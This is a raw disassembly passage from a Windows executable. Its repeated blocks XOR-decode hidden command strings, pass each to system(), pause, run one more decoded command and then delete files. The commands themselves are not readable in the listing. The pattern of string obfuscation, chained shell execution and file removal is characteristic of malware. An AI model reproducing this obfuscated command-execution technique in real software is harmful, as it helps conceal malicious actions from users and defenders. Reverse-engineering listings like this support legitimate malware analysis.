pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a880
cmp r8d, 0x13
jge 0x14000a9c0
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000a990
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5438]
movups xmmword [rbp + 0x170], xmm0
mov eax, dword [0x1400a5448]
mov dword [rbp + 0x180], eax
cmp byte [0x1400a544b], 0
je 0x14000ab80
xor r8d, r8d
cmp ebx, 2
jl 0x14000ab43
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000aa40
cmp r8d, 0x14
jge 0x14000ab80
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14000ab50
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5ea0]
movups xmmword [rbp + 0x170], xmm0
mov eax, dword [0x1400a5eb0]
mov dword [rbp + 0x180], eax
cmp byte [0x1400a5eb3], 0
je 0x14000ad40
xor r8d, r8d
cmp ebx, 2
jl 0x14000ad03
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000ac00
cmp r8d, 0x14
jge 0x14000ad40
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14000ad10
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a55b0]
movups xmmword [rbp + 0x170], xmm0
mov eax, dword [0x1400a55c0]
mov dword [rbp + 0x180], eax
cmp byte [0x1400a55c3], 0
je 0x14000af00
xor r8d, r8d
cmp ebx, 2
jl 0x14000aec3
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000adc0
cmp r8d, 0x14
jge 0x14000af00
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14000aed0
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5000]
movups xmmword [rbp + 0x170], xmm0
mov eax, dword [0x1400a5010]
mov dword [rbp + 0x180], eax
cmp byte [0x1400a5013], 0
je 0x14000b0c0
xor r8d, r8d
cmp ebx, 2
jl 0x14000b083
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000af80
cmp r8d, 0x14
jge 0x14000b0c0
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14000b090
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4178]
movups xmmword [rbp + 0x170], xmm0
mov eax, dword [0x1400a4188]
mov dword [rbp + 0x180], eax
cmp byte [0x1400a418b], 0
je 0x14000b280
xor r8d, r8d
cmp ebx, 2
jl 0x14000b243
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000b140
cmp r8d, 0x14
jge 0x14000b280
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14000b250
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3718]
movups xmmword [rbp + 0x170], xmm0
mov eax, dword [0x1400a3728]
mov dword [rbp + 0x180], eax
cmp byte [0x1400a372b], 0
je 0x14000b440
xor r8d, r8d
cmp ebx, 2
jl 0x14000b403
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000b300
cmp r8d, 0x14
jge 0x14000b440
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14000b410
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5598]
movups xmmword [rbp + 0x170], xmm0
mov eax, dword [0x1400a55a8]
mov dword [rbp + 0x180], eax
cmp byte [0x1400a55ab], 0
je 0x14000b600
xor r8d, r8d
cmp ebx, 2
jl 0x14000b5c3
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000b4c0
cmp r8d, 0x14
jge 0x14000b600
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14000b5d0
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a55c8]
movups xmmword [rbp + 0x170], xmm0
mov eax, dword [0x1400a55d8]
mov dword [rbp + 0x180], eax
cmp byte [0x1400a55db], 0
je 0x14000b7c0
xor r8d, r8d
cmp ebx, 2
jl 0x14000b783
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000b680
cmp r8d, 0x14
jge 0x14000b7c0
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14000b790
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3ed8]
movups xmmword [rbp + 0x170], xmm0
mov eax, dword [0x1400a3ee8]
mov dword [rbp + 0x180], eax
cmp byte [0x1400a3eeb], 0
je 0x14000b97c
xor ecx, ecx
cmp ebx, 2
jl 0x14000b940
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x174]
mov r8d, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14000b840
cmp ecx, 0x14
jge 0x14000b97c
movsxd rax, ecx
lea r8, [rbp + 0x170]
add r8, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x14000b950
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.Q_G5]
mov dword [rbp + 0x20], eax
cmp byte [0x1400a36bb], 0
je 0x14000ba70
cmp ebx, 2
jl 0x14000ba38
movdqa xmm3, xmmword [0x1400a6890]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a7280]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a7280]
shufps xmm2, xmm0, 0xdd
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r15d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a6cb0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x20], xmm2
jmp 0x14000ba70
lea r9, [rbp + 0x20]
xor r8d, r8d
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000ba40
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
mov dword [rsp + 0x44], 0x7a
mov dword [rsp + 0x48], 0x76
mov dword [rsp + 0x4c], 0x77
movdqa xmm0, xmmword [0x1400a6c90]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a71c0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6bc0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x5d
mov dword [rbp - 0x7c], reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rsp + 0x30]
call fcn.140028090
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], ax
mov byte [rsp + 0x42], al
mov dword [rsp + 0x44], 0x45
mov dword [rsp + 0x48], Ordinal_27
mov dword [rsp + 0x4c], 0x43
movdqa xmm0, xmmword [0x1400a7060]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a6db0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6f90]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x61
mov dword [rbp - 0x7c], 0x5c
mov dword [rbp - 0x78], reloc.WLDAP32.dll_Ordinal_60
lea rcx, [rsp + 0x30]
call fcn.140027be0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
